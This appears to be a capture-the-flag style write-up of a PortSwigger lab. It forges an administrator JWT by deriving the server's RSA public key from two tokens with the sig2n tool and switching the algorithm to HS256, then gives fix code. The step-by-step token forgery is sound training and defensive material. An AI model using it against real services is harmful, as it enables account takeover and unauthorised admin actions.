Goal:

  • πŸ” Log in twice (log out between logins) β€” save two different JWTs from the session cookie
  • 🐳 Run docker run --rm -it portswigger/sig2n <token1> <token2> β€” the tool derives possible RSA public keys and outputs a tampered JWT for each
  • πŸ§ͺ Test each tampered JWT at GET /my-account β€” a 200 response identifies the correct X.509 key
  • πŸ”‘ Copy the Base64-encoded X.509 key (not the tampered JWT) from the terminal output β€” create a New Symmetric Key in JWT Editor β€” replace k with it
  • ✏️ In Burp Repeater, set the JWT header alg to HS256 β€” set sub to "administrator" β€” click Sign with the symmetric key β€” check "Don't modify header"
  • πŸ—ΊοΈ Send GET /admin β€” the server verifies with its public key as HMAC secret β€” it matches β€” admin panel loads
  • πŸ—‘οΈ Delete the user carlos β†’ lab solved!

🧠 Concept Recap

JWT algorithm confusion with no exposed key is an advanced variant where the server's public key is not published at /jwks.json or any standard endpoint. The attacker instead derives the RSA public key mathematically from two valid JWTs signed with the same private key. Given two RS256 signatures over known messages, the RSA modulus n can be recovered β€” and from n plus the standard exponent e, the full public key is reconstructed. Once the public key is known, the attack is identical to Lab 7: switch alg to HS256, sign with the public key as the HMAC secret, and the server's own verification logic accepts the forged token.

πŸ“Š Lab 7 vs Lab 8 β€” Same End Attack, Different Key Source

Feature                Lab 7 β€” Exposed Key        Lab 8 β€” No Exposed Key
                                                  (this lab)
──────────────────────────────────────────────────────────────────────────────
Public key             /jwks.json                 Not published β€”
location                                          must be derived

Key retrieval          GET /jwks.json β†’           Run sig2n Docker tool
method                 copy JWK                   on 2 JWTs

Tool needed            Burp JWT Editor only       sig2n Docker tool +
                                                  JWT Editor

Key format used        JWK β†’ PEM β†’ Base64         Base64 X.509 directly
                       via Decoder                from tool output

Algorithm              Identical                  Identical
confusion step

Difficulty             Expert                     Expert
Why two JWTs are enough to recover the public key:

RSA signature: sig = H(msg)^d mod n
Given:
  sig1 = H(msg1)^d mod n   (from JWT 1)
  sig2 = H(msg2)^d mod n   (from JWT 2)

Both signatures expose mathematical relationships involving n.
The sig2n tool uses these relationships to factor n,
then reconstructs the public key (e=65537, n=derived).
The tool may produce 2-4 candidate values of n (mathematical ambiguity).
Only one matches the server's actual key - identified by testing.

The full attack flow:

Log in β†’ copy JWT 1 β†’ log out β†’ log in again β†’ copy JWT 2
         ↓
docker run --rm -it portswigger/sig2n <JWT1> <JWT2>
  β†’ Tool outputs: candidate n values, tampered JWTs, Base64 X.509 keys
         ↓
For each tampered JWT (starting with multiplier 1):
  Replace session cookie β†’ GET /my-account
  β†’ 200 OK β†’ correct key found βœ…
  β†’ 302 β†’ wrong key, try next
         ↓
Copy Base64-encoded X.509 key for the correct multiplier (from terminal)
JWT Editor Keys β†’ New Symmetric Key β†’ Generate β†’ replace k with Base64 key β†’ save
         ↓
In Repeater β†’ JSON Web Token tab:
  Header:  { "alg": "HS256", ... }    ← changed from RS256
  Payload: { "sub": "administrator", ... }
         ↓
Sign β†’ select symmetric key β†’ "Don't modify header" β†’ OK
         ↓
Send GET /admin β†’ admin panel loads βœ…
Delete carlos β†’ lab solved βœ…

πŸ› οΈ Step-by-Step Attack

πŸ”§ Step 1 β€” Install JWT Editor and Log In

  1. 🌐 Click "Access the lab"
  2. πŸ”Œ Ensure Burp Suite is running and proxying traffic
  3. βš™οΈ In Burp β†’ Extender β†’ BApp Store β†’ search JWT Editor β†’ click Install
  4. πŸ–±οΈ On the lab site, click "My account" β†’ log in with wiener / peter
  5. πŸ–±οΈ In Burp β†’ Proxy β†’ HTTP history β†’ find the post-login GET /my-account
  6. πŸ–±οΈ Right-click β†’ "Send to Repeater"

πŸ”§ Step 2 β€” Confirm You're Blocked from /admin

  1. πŸ–±οΈ In Repeater, change the path from /my-account to /admin β†’ click "Send"
Expected result:
  β†’ "Admin interface only accessible if logged in as the administrator"
  β†’ Confirms admin access is gated on the sub claim
  β†’ JWT header shows alg: RS256 β€” asymmetric signing in use
  β†’ No /jwks.json endpoint exists β€” public key is not exposed

πŸ”§ Step 3 β€” Collect the First JWT

  1. πŸ–±οΈ Change the path back to /my-account β†’ click "Send" (to get a clean view of the cookie)
  2. πŸ“‹ In the Cookie header, copy the full session= JWT value and save it somewhere:
JWT 1: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODQwMH0.sig1...
Confirm in the decoded header:
  { "kid": "9136ddb3-...", "alg": "RS256" }

Note the kid value - both JWTs must have the same kid
(same key used for both) or the derivation won't work.

πŸ”§ Step 4 β€” Log Out and Collect the Second JWT

  1. πŸ–±οΈ On the lab site, click "Log out"
  2. πŸ–±οΈ Click "My account" β†’ log in again with wiener / peter
  3. πŸ–±οΈ In Burp β†’ Proxy β†’ HTTP history β†’ find the new post-login GET /my-account
  4. πŸ“‹ Copy the new session JWT and save it:
JWT 2: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODUwMH0.sig2...
What makes JWT 2 useful:
  β†’ Different exp timestamp β†’ different payload β†’ different signature
  β†’ Same kid β†’ signed with the same RSA private key
  β†’ Two different signatures from the same key = enough information
    for sig2n to mathematically derive the public key

You now have: JWT 1 and JWT 2 - both RS256, same kid, different signatures.

πŸ”§ Step 5 β€” Run the sig2n Docker Tool

  1. πŸ–±οΈ Open a terminal on your machine
  2. πŸ–±οΈ Run the following command, substituting your two JWTs:
docker run --rm -it portswigger/sig2n <JWT1> <JWT2>

Full example:

docker run --rm -it portswigger/sig2n \
"eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODQwMH0.PjK8..." \
"eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODUwMH0.Lkm9..."
First run note:
  β†’ Docker will pull the portswigger/sig2n image if not already cached
  β†’ This may take several minutes on first use
  β†’ Subsequent runs are fast

πŸ”§ Step 6 β€” Read the sig2n Output

The tool outputs one or more candidate keys. For each:

Found n with multiplier 1:
    n = 0xab48a177e7c8ce697d...

Tampered JWT: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJIUzI1NiJ9...
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C...
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJD...

Found n with multiplier 2:
    n = 0x1d6e3c0...
    Tampered JWT: eyJraWQiOiI...
    Base64 encoded x509 key: ...
    ...
Three things per candidate:
  1. Tampered JWT β€” pre-forged HS256 token signed with this candidate key
     (use this to TEST which key is correct)
  2. Base64 encoded x509 key β€” the public key in X.509 format
     (use this to CREATE your symmetric key after finding the correct one)
  3. Base64 encoded pkcs1 key β€” alternative encoding (not needed for this lab)

Important: You need both outputs - the tampered JWT for testing,
and the Base64 x509 key for signing. Don't mix them up.

πŸ”§ Step 7 β€” Test Each Tampered JWT to Find the Correct Key

  1. πŸ“‹ Copy the Tampered JWT from the first Found n with multiplier 1 block
  2. πŸ–±οΈ In Burp Repeater, ensure the path is /my-account
  3. ✏️ Replace the session= cookie value with the tampered JWT
  4. πŸ–±οΈ Click "Send"
If you receive 200 OK β†’ correct key found βœ… β€” proceed to Step 8
If you receive 302 redirect to /login β†’ wrong key

If 302: copy the Tampered JWT from multiplier 2, repeat the test.
Continue through each multiplier until you get 200 OK.
Usually the correct key is multiplier 1 or 2.
Why test at /my-account, not /admin?
  β†’ The tampered JWT from sig2n still has sub: "wiener"
  β†’ /my-account will load fine for wiener if the signature is valid
  β†’ /admin would return 403 regardless β€” not a useful test
  β†’ 200 at /my-account confirms the key is correct; 302 confirms it's wrong

πŸ”§ Step 8 β€” Copy the Correct Base64 X.509 Key

  1. πŸ–±οΈ In your terminal, locate the same multiplier block that gave you a 200 response
  2. πŸ“‹ Copy the Base64 encoded x509 key value β€” the long string starting with LS0tLS1...
Critical distinction:
  β†’ The tampered JWT (used in testing)    ← do NOT copy this
  β†’ The Base64 encoded x509 key           ← copy THIS

The Base64 x509 key is already in the correct format to use as
the k value in a JWT Editor symmetric key - no Burp Decoder step needed.
This is different from Lab 7 where you had to encode the PEM yourself.

πŸ”§ Step 9 β€” Create a Symmetric Key from the Derived Public Key

  1. πŸ–±οΈ In Burp β†’ JWT Editor Keys tab β†’ click "New Symmetric Key"
  2. πŸ–±οΈ Click "Generate" β€” a placeholder JWK is created:
{
  "kty": "oct",
  "kid": "some-generated-id",
  "k": "random-base64-string"
}

3. ✏️ Replace the k value with the Base64-encoded X.509 key you copied from the terminal:

{
  "kty": "oct",
  "kid": "some-generated-id",
  "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C..."
}

4. πŸ–±οΈ Click "OK" to save

What this creates:
  β†’ An HMAC symmetric key whose secret bytes ARE the server's RSA public key
  β†’ The server stores its public key as X.509 PEM β€” the Base64 encodes those exact bytes
  β†’ When the server verifies an HS256 token, it reads its own public key file
    and uses those bytes as the HMAC secret β€” matching our signature exactly

πŸ”§ Step 10 β€” Modify the JWT Header and Payload

  1. πŸ–±οΈ In Repeater, change the path to /admin
  2. πŸ–±οΈ Click the JSON Web Token tab
  3. πŸ–±οΈ In the Header section, change alg from "RS256" to "HS256":
{
  "kid": "9136ddb3-cb0a-4a19-a07e-eadf5a44c8b5",
  "alg": "HS256"
}

4. πŸ–±οΈ In the Payload section, change sub from "wiener" to "administrator":

{
  "iss": "portswigger",
  "sub": "administrator",
  "exp": 1705678400
}

5. πŸ–±οΈ Click "Apply changes" after each edit

πŸ”§ Step 11 β€” Sign the Token with the Symmetric Key

  1. πŸ–±οΈ At the bottom of the JSON Web Token tab, click "Sign"
  2. πŸ–±οΈ Select the symmetric key you created with the derived public key
  3. β˜‘οΈ Ensure "Don't modify header" is checked
Why "Don't modify header" must be checked:
  β†’ Without it, the Sign function resets alg back to a value
    that matches the key type (HS256 for oct key β€” this one is fine)
    BUT it may also regenerate or change the kid
  β†’ Checking it freezes the header exactly as you edited it,
    preserving both alg: HS256 and the original kid value

4. πŸ–±οΈ Click "OK"

Result:
  β†’ JWT signed with HMAC-SHA256 using the derived RSA public key as the secret
  β†’ Server reads alg: HS256 β†’ switches to HMAC verification
  β†’ Server uses its stored public key (X.509 PEM bytes) as the HMAC secret
  β†’ Our signature was computed with those same bytes β†’ verification passes βœ…

πŸ”§ Step 12 β€” Access the Admin Panel

  1. πŸ–±οΈ Confirm the request looks like this:
GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE

2. πŸ–±οΈ Click "Send"

Expected result:
  β†’ 200 OK β€” admin panel HTML loads βœ…
  β†’ HMAC verified with public key β†’ passed
  β†’ sub: "administrator" β†’ admin access granted

πŸ”§ Step 13 β€” Delete carlos

  1. πŸ–±οΈ In the admin panel response, find the delete URL:
/admin/delete?username=carlos

2. πŸ–±οΈ In Repeater, update the path:

GET /admin/delete?username=carlos HTTP/1.1
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE

3. πŸ–±οΈ Ensure the JWT still has alg: HS256, sub: administrator, and the derived-key signature

4. πŸ–±οΈ Click "Send"

Result:
  β†’ carlos is deleted βœ…
  β†’ Lab solved! πŸŽ‰

πŸŽ‰ Lab Solved!

βœ… Collected two valid RS256 JWTs with different signatures
βœ… Ran sig2n Docker tool β†’ derived candidate RSA public keys
βœ… Tested tampered JWTs at /my-account β†’ identified correct X.509 key
βœ… Created symmetric key with Base64 X.509 key as k value
βœ… Changed JWT alg β†’ HS256, sub β†’ "administrator"
βœ… Signed with symmetric key (preserving header)
βœ… Server verified with public key in HMAC mode β†’ passed
βœ… Admin panel loaded β†’ carlos deleted
βœ… Lab complete!

πŸ”— Complete Attack Chain

1.  Log in as wiener β†’ GET /my-account β†’ Send to Repeater
2.  GET /admin with original token β†’ blocked (sub: wiener, alg: RS256)
3.  Copy JWT 1 from session cookie β†’ log out β†’ log in again β†’ copy JWT 2
4.  Terminal: docker run --rm -it portswigger/sig2n <JWT1> <JWT2>
5.  Copy Tampered JWT (multiplier 1) β†’ replace session cookie β†’ GET /my-account
    β†’ 200 OK: correct key βœ… | 302: try multiplier 2
6.  Copy Base64 encoded x509 key for the correct multiplier (from terminal)
7.  JWT Editor Keys β†’ New Symmetric Key β†’ Generate β†’ replace k with Base64 key β†’ OK
8.  Repeater β†’ JSON Web Token tab β†’ Header: alg β†’ "HS256"
9.  Payload: sub β†’ "administrator"
10. Sign β†’ select symmetric key β†’ "Don't modify header" checked β†’ OK
11. GET /admin β†’ admin panel loads
12. GET /admin/delete?username=carlos β†’ lab solved

No private key. No /jwks.json. Just two login sessions, a Docker tool, and the math of RSA signatures.

🧠 Deep Understanding

How sig2n derives the public key from two JWTs

RSA signing: sig = H(msg)^d mod n

Given two signatures:
  sig1 = H(msg1)^d mod n
  sig2 = H(msg2)^d mod n

The tool computes:
  sig1^e mod n = H(msg1)   (where e = 65537, the standard public exponent)
  sig2^e mod n = H(msg2)

By analysing the mathematical relationship between sig1, sig2,
H(msg1), H(msg2), and the standard e value, the tool factors n
(recovers the RSA modulus) through GCD-based techniques.

Multiple candidate values of n are produced (the "multipliers"):
  β†’ Each is a mathematically valid possibility given the two signatures
  β†’ Only one actually matches the server's real n
  β†’ Testing with a tampered JWT determines which is correct

Why only two JWTs are needed

Both JWTs must share:
  βœ… Same kid β†’ same private key used for both
  βœ… Different payloads β†’ different messages β†’ different signatures

If both JWTs have the same exp (identical payloads):
  β†’ Identical signatures β†’ no mathematical variation β†’ tool fails
  β†’ This is why you log out and back in: new exp = new signature

If JWTs have different kid values:
  β†’ Different private keys β†’ tool computes the wrong relationship β†’ fails
  β†’ Both must be signed by the same key

Lab 7 vs Lab 8 β€” identical end-game, different key acquisition

Lab 7 key acquisition:
  GET /jwks.json β†’ copy JWK β†’ New RSA Key β†’ paste JWK β†’ OK
  Right-click β†’ Copy Public Key as PEM
  Burp Decoder β†’ paste PEM β†’ Encode as Base64 β†’ copy

Lab 8 key acquisition:
  Collect 2 JWTs β†’ run sig2n in terminal
  Test tampered JWTs at /my-account β†’ find correct multiplier
  Copy Base64 encoded x509 key directly from terminal output

From "create symmetric key" onwards: both labs are identical.
The only difference is HOW you obtain the Base64-encoded public key.

πŸ› Troubleshooting

Problem: All tampered JWTs return 302 redirect
β†’ The two JWTs may have identical payloads (same exp timestamp)
  β†’ Log out and wait a few seconds before logging in again for a different exp
β†’ Check that both JWTs have the same kid β€” if different, the keys don't match
β†’ Collect fresh JWTs and rerun sig2n immediately (tokens expire)

Problem: sig2n outputs only one candidate key and it returns 302
β†’ Collect a third JWT and rerun: docker run portswigger/sig2n <JWT1> <JWT2> <JWT3>
β†’ More JWTs give the tool more information β†’ more accurate factorisation

Problem: sig2n runs for more than 10 minutes without output
β†’ Stop with Ctrl+C - one of the JWTs may be malformed
β†’ Verify both JWTs are complete (three dot-separated sections, no truncation)
β†’ Try pasting each JWT into jwt.io to confirm they decode correctly

Problem: Docker image not found or pull fails
β†’ Ensure Docker is running: docker info
β†’ Try pulling manually first: docker pull portswigger/sig2n
β†’ Check internet connectivity from the machine running Docker

Problem: Admin panel returns 401 after signing
β†’ Most likely: "Don't modify header" was not checked
  β†’ The Sign step may have changed the alg or kid - re-examine the header after signing
  β†’ Reapply alg: HS256 and re-sign with "Don't modify header" checked

Problem: Mistakenly used the Tampered JWT as the k value instead of the Base64 key
β†’ The Tampered JWT and the Base64 key are two different outputs from sig2n
β†’ The k value must be the Base64 encoded x509 key line, not the JWT string
β†’ Delete the symmetric key, create a new one, and paste only the Base64 key

Problem: Delete request returns 401 after /admin loaded
β†’ The modified JWT must be used in the delete request too
β†’ Check the Cookie header - Burp may have reverted to the original session
β†’ Paste the forged JWT manually into the Cookie header before sending

Problem: Lab already solved / carlos not in user list
β†’ Reset the lab from the lab page to restore original state

πŸ’¬ In One Line

πŸ”“ With no public key endpoint available, two RS256 JWTs were fed into the sig2n tool to mathematically derive the server's RSA public key β€” then, identical to Lab 7, switching alg to HS256 and signing with that public key as the HMAC secret produced a forged administrator token the server verified with its own key. That's JWT Algorithm Confusion with No Exposed Key β€” the public key was hidden, but the signatures gave it away.

πŸ”’ How to Fix It

# Priority 1 β€” Hardcode the expected algorithm β€” never read it from the token
# This single fix prevents both Lab 7 and Lab 8 entirely

# ❌ BAD - algorithm taken from the JWT header:
header = jwt.get_unverified_header(token)
alg = header['alg']                         # attacker controls this
payload = jwt.decode(token, public_key, algorithms=[alg])
# βœ… GOOD - algorithm fixed in server config:
EXPECTED_ALGORITHM = 'RS256'
payload = jwt.decode(token, rsa_public_key, algorithms=[EXPECTED_ALGORITHM])
# If token has alg: HS256 β†’ InvalidAlgorithmError raised automatically
# Priority 2 β€” Never use the same key object for both RSA and HMAC paths
# Keep key types strictly separated by the verification function

# ❌ BAD - same public_key variable reused regardless of algorithm:
def verify(token):
    alg = jwt.get_unverified_header(token)['alg']
    return jwt.decode(token, rsa_public_key, algorithms=[alg])
    # If alg=HS256 β†’ rsa_public_key bytes used as HMAC secret ← confused!
# βœ… GOOD - key type and algorithm are bound together, no branching on client input:
RSA_PUBLIC_KEY = load_rsa_public_key('/etc/keys/public.pem')
def verify(token):
    return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
    # HS256 not in ['RS256'] β†’ rejected regardless of token header
# Priority 3 β€” Reject symmetric algorithm families explicitly before decoding

SYMMETRIC_ALGORITHMS = {'HS256', 'HS384', 'HS512'}
def verify_token(token):
    header = jwt.get_unverified_header(token)
    if header.get('alg') in SYMMETRIC_ALGORITHMS:
        raise ValueError("Symmetric algorithms are not accepted on this endpoint")
    return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
# Priority 4 β€” Do not expose the public key unnecessarily
# (does not fix the vulnerability, but reduces attacker convenience)
# The real fix is always algorithm whitelisting β€” not hiding the key

# Even if /jwks.json is removed:
#   β†’ Two JWTs + sig2n β†’ public key derived anyway (this lab)
#   β†’ The public key being "hidden" buys very little against a determined attacker
#   β†’ Fix the algorithm confusion; treat the public key as non-secret
# βœ… REAL DEFENCE: whitelist RS256, reject HS256 - done.

πŸ‘ If this helped you β€” clap it up (you can clap up to 50 times!)

πŸ”” Follow for more writeups β€” dropping soon

πŸ”— Share with your pentest team

πŸ’¬ Drop a comment